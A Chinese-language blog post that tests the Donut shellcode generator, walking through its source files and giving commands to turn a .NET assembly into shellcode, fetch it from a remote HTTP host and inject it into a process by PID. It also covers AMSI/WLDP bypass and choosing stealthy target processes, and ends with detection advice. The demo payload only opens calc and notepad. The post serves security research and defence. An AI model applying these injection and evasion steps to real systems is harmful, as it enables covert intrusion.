Shellcode生成工具Donut测试分析
0x00 前言
Donut是一个shellcode生成工具,可以将.NET程序集转换为shellcode。这是对execute-assembly的进一步利用,隐蔽性更高,可扩展性更强。
结合byt3bl33d3r的SILENTTRINITY,将其转换为shellcode并进行注入,适用性更广。
本文将会对Donut进行测试,逐个分析Donut工程中的代码,总结这个工具的特点。
注:
本文测试的版本使用的是Donut v0.9,新版本将会添加更多的功能,值得持续关注
Donut地址:
https://github.com/TheWover/donut
介绍Donut细节的文章:
https://thewover.github.io/Introducing-Donut/
https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/
https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
0x01 简介
本文将要介绍以下内容:
- 相关技术介绍
- 源码结构
- 实际测试
- 利用分析
0x02 相关技术介绍
1.Assembly.Load
用于在当前进程中加载.NET程序集,无法注入其他进程
.NET程序集的测试代码:
namespace ConsoleApplication1
{
public class Program
{
public static void test()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
p.Start();
}
static void Main(string[] args)
{
test();
}
}
}
加载这个.NET程序集的时候会弹出计算器,用作验证功能
(1)Powershell实现Assembly.Load
$bytes = [System.IO.File]::ReadAllBytes("ConsoleApplication1.exe")
[Reflection.Assembly]::Load($bytes)
[ConsoleApplication1.Program]::test()
注:
可参考之前的文章《利用Assembly Load & LoadFile绕过Applocker的分析总结》
(2)C#实现Assembly.Load
https://github.com/anthemtotheego/SharpCradle
代码实现了从远程服务器下载.NET程序集并通过Assembly.Load进行加载
2.execute-assembly
从内存中加载.NET程序集,能够以dll的形式注入到其他进程中
注:
可参考之前的文章《从内存加载.NET程序集(execute-assembly)的利用分析》
整个过程在内存执行,不写入文件系统(此时注入dll需要使用Dll反射)
Payload以dll形式存在,不会产生可疑的进程
注:
如果使用Loadlibrary加载dll,dll必须写入文件系统
3.Donut
基于execute-assembly,以shellcode的形式实现从内存中加载.NET程序集
优点是注入到其他进程时不再依赖于Dll反射,更隐蔽,更易于扩展
更隐蔽是指注入其他进程时不会存在dll
更易于扩展是指能够执行shellcode的方法都可以使用Donut,基于Donut的二次开发也很容易
0x03 源码结构
针对0.9版本的文件
1、子项目
1.DemoCreateProcess
https://github.com/TheWover/donut/tree/master/DemoCreateProcess
c#程序,编译后生成文件ClassLibrary.dll,功能为将传入的两个参数作为启动进程
可通过Donut将其转换成shellcode,用作测试Donut生成shellcode的功能是否有效
2.DonutTest
https://github.com/TheWover/donut/tree/master/DonutTest
c#程序,编译后生成文件DonutTest.exe,用于向指定pid的进程注入shellcode
实现细节:
数组中保存base64加密后的shellcode,解密后通过CreateRemoteThread注入到指定进程
3.rundotnet.cpp
https://github.com/TheWover/donut/blob/master/DonutTest/rundotnet.cpp
c程序,编译后的文件为rundotnet.exe,用于读取指定文件并使用CLR从内存加载.NET程序集
从内存加载.NET程序集使用的方法:
- 使用当前系统中最新版本的.Net
- 使用ICorRuntimeHost接口
- 使用Load_3(…)从内存中读取并加载.NET程序集的Main方法
4.ModuleMonitor
https://github.com/TheWover/donut/tree/master/ModuleMonitor
使用WMI事件Win32_ModuleLoadTrace来监视模块加载,如果发现CLR注入,将会标记
WMI事件Win32_ModuleLoadTrace:
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/win32-moduleloadtrace
程序中判断CLR注入的方法:
如果进程加载了CLR,但程序不是.NET程序集,则CLR已注入其中
程序中判断进程加载CLR的方法:
进程是否加载了与CLR相关的dll(mscoree.dll,mscoreei.dll和mscorlib.dll),dll以”msco”开头
这个工程一般是作防御检测用,用来检测系统是否产生了CLR注入事件,所以在启动后进程会一直执行,实时记录系统加载新模块的事件
这个地方使用tasklist.exe也能实现类似的功能,命令如下:
tasklist /m msco*
能够获得哪些进程调用了以”msco”开头的dll
5.ProcessManager
https://github.com/TheWover/donut/tree/master/ProcessManager
用于枚举当前计算机或远程计算机上的进程
同tasklist.exe的功能类似,增加以下功能:
- 判断进程权限
- 判断进程位数(32位还是64位)
- 判断进程是否加载CLR
2、组件
1.https://github.com/TheWover/donut/blob/master/payload/payload.c
Donut的关键功能,实现以下操作:
(1)获得shellcode并解密
提供两种方式:
- 从payload.h读取shellcode和解密密钥
- 从HTTP服务器下载shellcode和解密密钥
(2)使用CLR从内存加载.NET程序集
- 调用ICLRMetaHost::GetRuntime方法获取ICLRRuntimeInfo指针
- 使用ICorRuntimeHost接口
- 尝试关闭AMSI和WLDP
- 使用Load_3(…)从内存中读取
注:
介绍关闭AMSI和WLDP的细节:
https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
值得注意的地方:
通常情况下,使用ICorRuntimeHost接口时需要调用mscorlib.tlb
这里并没有使用mscorlib.tlb,是通过手动定义的方式实现
更多细节可参考:
https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/
2.https://github.com/TheWover/donut/tree/master/payload/exe2h
用来将exe转换为shellcode并保存到数组中
从payload.exe中的.text段中提取已编译的机器码(包括dll和解密密钥),将其作为数组保存到payload_exe_x64.h或payload_exe_x86.h
3.https://github.com/TheWover/donut/blob/master/payload/payload_exe_x64.h
存储64位的机器码(包括dll和解密密钥)
4.https://github.com/TheWover/donut/blob/master/payload/payload_exe_x86.h
存储32位的机器码(包括dll和解密密钥)
5.https://github.com/TheWover/donut/blob/master/payload/inject.c
使用RtlCreateUserThread向指定进程注入shellcode
可用作测试向指定进程注入shellcode的功能
6.https://github.com/TheWover/donut/blob/master/payload/runsc.c
C/S架构,两个功能,可以发送和接收shellcode并执行
用于测试payload.bin的功能
7.https://github.com/TheWover/donut/blob/master/encrypt.c
对称加密的实现
8.https://github.com/TheWover/donut/blob/master/hash.c
API Hashing,这里使用了Maru hash
9.https://github.com/TheWover/donut/blob/master/donut.c
主程序,用于将.NET程序集转换成shellcode
0x04 实际测试
1、选择测试dll
这里使用子项目DemoCreateProcess
编译后生成文件ClassLibrary.dll
2、使用Donut生成shellcode
64位:
donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe
32位:
donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe
命令执行后生成文件payload.bin
如果加了-u指定URL,会再生成一个随机名称的Module文件,实例如下:
donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http://192.168.1.1
生成文件payload.bin和YX63F37T
将YX63F37T上传到http://192.168.1.1
接下来通过注入shellcode的方式执行payload.bin,payload.bin会从http://192.168.1.1/YX63F37T下载实际的shellcode并执行
3、查看进程信息
这里使用子项目ProcessManager
列出进程后,Managed选项如果为True,代表该进程已经加载CLR
ProcessManager支持对指定进程进行筛选,例如只查看notepad.exe的进行信息,命令如下:
ProcessManager.exe --name notepad
4、注入shellcode
假设目标进程为3306
(1)使用子项目DonutTest
将payload.bin作base64编码并保存在剪贴板,powershell命令如下:
$filename = "payload.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip
替换DonutTest工程中对应的变量,编译成功后执行如下命令:
DonutTest.exe 3306
(2)使用RtlCreateUserThread
https://github.com/TheWover/donut/blob/master/payload/inject.c
命令如下:
inject.exe 3306 payload.bin
5、检测
列出加载了CLR但不是.NET程序集的进程,命令如下:
tasklist /m msco*
0x05 利用分析
Donut能够将.NET程序集转换为shellcode
也就是说,使用C#开发的程序都能通过Donut转换成shellcode
就目前的趋势来说,C#开源的工具越来越多,例如:
- https://github.com/GhostPack/SharpWMI
- https://github.com/checkymander/Sharp-WMIExec
- https://github.com/jnqpblc/SharpTask
在渗透测试中,C#将会逐步替代Powershell,Donut的利用也会是一个趋势
Donut的利用思路:
- 将.NET程序集转换为shellcode,例如配合SILENTTRINITY使用
- 作为模块集成到其他工具中
- 扩展功能:支持类似meterpreter的migrate功能
为了更为隐蔽,可以先使用ProcessManager列举已经加载CLR的进程,对其进行注入
Donut的检测:
Donut需要使用CLR从内存中加载.NET程序集,可采取以下方法进行检测:
- 进程不是.NET程序集
- 进程加载了与CLR相关的dll(dll以”msco”开头)
注:
正常程序也有可能存在这个行为
两种检测方法:
- 使用命令
tasklist /m msco*
- 使用WMI事件Win32_ModuleLoadTrace来监视模块加载
对满足以上条件的进程重点监控
0x06 小结
本文对Donut进行了测试分析,总结利用思路,给出防御建议。Donut值得深入研究,期待Donut的新版本